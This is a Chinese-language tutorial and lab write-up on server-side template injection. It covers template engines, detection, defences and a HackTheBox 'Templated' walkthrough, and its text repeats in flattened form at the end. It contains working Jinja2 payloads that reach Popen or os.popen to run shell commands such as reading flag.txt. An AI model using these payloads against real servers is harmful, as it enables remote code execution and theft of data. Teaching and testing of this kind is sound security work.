SSTI漏洞原理及渗透测试
字数 2460 2025-08-12 11:34:37

SSTI漏洞原理及渗透测试详解

一、模板引擎基础

1.1 模板引擎概念

模板引擎(Web开发中)是为了使用户界面业务数据(内容)分离而产生的技术,它可以生成特定格式的文档。模板引擎会提供一套生成HTML代码的程序,之后只需获取用户的数据,放入渲染函数,该数据便会嵌入生成好的HTML页面中,然后反馈给浏览器。

1.2 MVC模式与模板引擎

当前主流框架一般采用MVC模式:

  • Model:业务模型层,处理业务逻辑和数据库存取
  • View:视图层,负责展示数据
  • Controller:控制器层,接收用户输入并协调Model和View

模板引擎的基本机理是替换(转换)

  • 将指定的标签转换为需要的业务数据
  • 将指定的伪语句按照某种流程来变换输出

1.3 模板引擎示例代码

// 模板
var template = '<p>Hello,my name is <%name%>.I am <%age%> years old.</p>';

// 用于匹配的正则
var regex = /<%([^%>]+)?%>/g;

// 数据
var data = {
    name: 'Deutsh',
    age: 22
}

// 模板引擎
var TemplateEngine = function (template, data) {
    while (match = regex.exec(template)) {
        template = template.replace(match[0], data[match[1]])
    }
    return template;
}

// 执行
var string = TemplateEngine(template, data)
console.log(string)

二、SSTI漏洞原理

2.1 SSTI定义

SSTI(Server-Side Template Injection):当服务端接受用户输入后,未经任何处理就将其作为Web应用模板内容的一部分,导致模板引擎在进行目标编译渲染的过程中,执行了用户插入的可执行语句。

2.2 漏洞产生条件

  1. 用户输入直接作为模板变量值(安全情况)

    $output = $twig->render("Hello {{name}}", array("name" => $_GET["name"]));
    
  2. 用户输入作为模板内容的一部分(危险情况)

    $output = $twig->render("Hello {$_GET['name']}");
    

2.3 常见模板引擎语法

语言 引擎 模板变量语法
PHP Twig {{%s}}
PHP Smarty {%s}
PHP Blade {{%s}}
Python Jinja2 {{%s}}
Python Tornado {{%s}}
Python Django {{ }}
Java FreeMarker <#%s>``${%s}
Java Velocity #set($x=1+1)${x}

三、SSTI检测方法

3.1 基本检测步骤

  1. 更改请求参数使之承载含有模板引擎语法的Payload
  2. 通过页面渲染返回的内容检测Payload是否被编译解析
  3. 如果解析则存在SSTI漏洞

3.2 检测示例

对于Jinja2模板引擎,尝试输入:

{{2*2}}

如果页面返回4,则确认存在SSTI漏洞。

四、SSTI利用技术

4.1 Python(Jinja2)利用方法

方法一:通过对象继承链

  1. 获取基本类

    {{''.__class__.__mro__[1]}}
    
    • __class__:返回对象类型
    • __mro__:返回继承关系元组
  2. 获取所有子类

    {{''.__class__.__mro__[1].__subclasses__()}}
    
  3. 查找Popen类(通常在414号位置左右)

    {{''.__class__.__mro__[1].__subclasses__()[414]}}
    
  4. 执行命令读取文件

    {{''.__class__.__mro__[1].__subclasses__()[414]('cat flag.txt',shell=True,stdout=-1).communicate()}}
    

方法二:通过内置模块

  1. 获取内置模块引用

    {{''.__class__.__mro__[1].__subclasses__()[1500].__init__.__globals__['__builtins__']}}
    
  2. 导入os模块并执行命令

    {{''.__class__.__mro__[1].__subclasses__()[1500].__init__.__globals__['__builtins__']['__import__']('os').popen('cat flag.txt').read()}}
    

4.2 关键Python魔术方法

方法 描述
__dict__ 保存类实例或对象实例的属性变量键值对字典
__class__ 返回调用的参数类型
__mro__ 返回包含对象所继承的基类元组,方法解析按元组顺序
__bases__ 返回类型列表,寻找基类
__subclasses__ 返回object的子类
__init__ 类的初始化方法
__globals__ 以字典类型返回当前位置的全部全局变量(与func_globals等价)
__builtins__ 指向__builtin__模块,包含Python内建函数

五、防御措施

  1. 输入过滤:对用户输入进行严格过滤和验证
  2. 沙箱环境:在沙箱环境中执行模板渲染
  3. 最小权限:模板引擎运行在最小权限环境下
  4. 静态模板:避免动态拼接模板内容
  5. 安全配置:禁用危险的模板功能和过滤器

六、实战案例

以HackTheBox的"Templated"靶场为例:

  1. 识别模板引擎为Jinja2
  2. 测试基本表达式{{2*2}}确认漏洞
  3. 通过继承链找到Popen类执行命令
  4. 读取服务器上的flag.txt文件

完整利用链:

http://target/{{''.__class__.__mro__[1].__subclasses__()[414]('cat flag.txt',shell=True,stdout=-1).communicate()}}

七、总结

SSTI漏洞危害严重,可导致远程代码执行。渗透测试时需:

  1. 识别使用的模板引擎类型
  2. 测试是否存在模板注入点
  3. 根据引擎类型选择合适的利用方式
  4. 逐步构建利用链获取系统权限

防御关键在于严格控制用户输入与模板内容的边界,避免将不可信数据直接作为模板内容渲染。

SSTI漏洞原理及渗透测试详解 一、模板引擎基础 1.1 模板引擎概念 模板引擎(Web开发中)是为了使 用户界面 和 业务数据(内容) 分离而产生的技术,它可以生成特定格式的文档。模板引擎会提供一套生成HTML代码的程序,之后只需获取用户的数据,放入渲染函数,该数据便会嵌入生成好的HTML页面中,然后反馈给浏览器。 1.2 MVC模式与模板引擎 当前主流框架一般采用MVC模式: Model :业务模型层,处理业务逻辑和数据库存取 View :视图层,负责展示数据 Controller :控制器层,接收用户输入并协调Model和View 模板引擎的基本机理是 替换(转换) : 将指定的标签转换为需要的业务数据 将指定的伪语句按照某种流程来变换输出 1.3 模板引擎示例代码 二、SSTI漏洞原理 2.1 SSTI定义 SSTI(Server-Side Template Injection) :当服务端接受用户输入后,未经任何处理就将其作为Web应用模板内容的一部分,导致模板引擎在进行目标编译渲染的过程中,执行了用户插入的可执行语句。 2.2 漏洞产生条件 用户输入直接作为模板变量值(安全情况) 用户输入作为模板内容的一部分(危险情况) 2.3 常见模板引擎语法 | 语言 | 引擎 | 模板变量语法 | |--------|-------------|---------------------| | PHP | Twig | {{%s}} | | PHP | Smarty | {%s} | | PHP | Blade | {{%s}} | | Python | Jinja2 | {{%s}} | | Python | Tornado | {{%s}} | | Python | Django | {{ }} | | Java | FreeMarker | <#%s>``${%s} | | Java | Velocity | #set($x=1+1)${x} | 三、SSTI检测方法 3.1 基本检测步骤 更改请求参数使之承载含有模板引擎语法的Payload 通过页面渲染返回的内容检测Payload是否被编译解析 如果解析则存在SSTI漏洞 3.2 检测示例 对于Jinja2模板引擎,尝试输入: 如果页面返回 4 ,则确认存在SSTI漏洞。 四、SSTI利用技术 4.1 Python(Jinja2)利用方法 方法一:通过对象继承链 获取基本类 __class__ :返回对象类型 __mro__ :返回继承关系元组 获取所有子类 查找Popen类(通常在414号位置左右) 执行命令读取文件 方法二:通过内置模块 获取内置模块引用 导入os模块并执行命令 4.2 关键Python魔术方法 | 方法 | 描述 | |-----------------|----------------------------------------------------------------------| | __dict__ | 保存类实例或对象实例的属性变量键值对字典 | | __class__ | 返回调用的参数类型 | | __mro__ | 返回包含对象所继承的基类元组,方法解析按元组顺序 | | __bases__ | 返回类型列表,寻找基类 | | __subclasses__ | 返回object的子类 | | __init__ | 类的初始化方法 | | __globals__ | 以字典类型返回当前位置的全部全局变量(与 func_globals 等价) | | __builtins__ | 指向 __builtin__ 模块,包含Python内建函数 | 五、防御措施 输入过滤 :对用户输入进行严格过滤和验证 沙箱环境 :在沙箱环境中执行模板渲染 最小权限 :模板引擎运行在最小权限环境下 静态模板 :避免动态拼接模板内容 安全配置 :禁用危险的模板功能和过滤器 六、实战案例 以HackTheBox的"Templated"靶场为例: 识别模板引擎为Jinja2 测试基本表达式 {{2*2}} 确认漏洞 通过继承链找到Popen类执行命令 读取服务器上的flag.txt文件 完整利用链: 七、总结 SSTI漏洞危害严重,可导致远程代码执行。渗透测试时需: 识别使用的模板引擎类型 测试是否存在模板注入点 根据引擎类型选择合适的利用方式 逐步构建利用链获取系统权限 防御关键在于严格控制用户输入与模板内容的边界,避免将不可信数据直接作为模板内容渲染。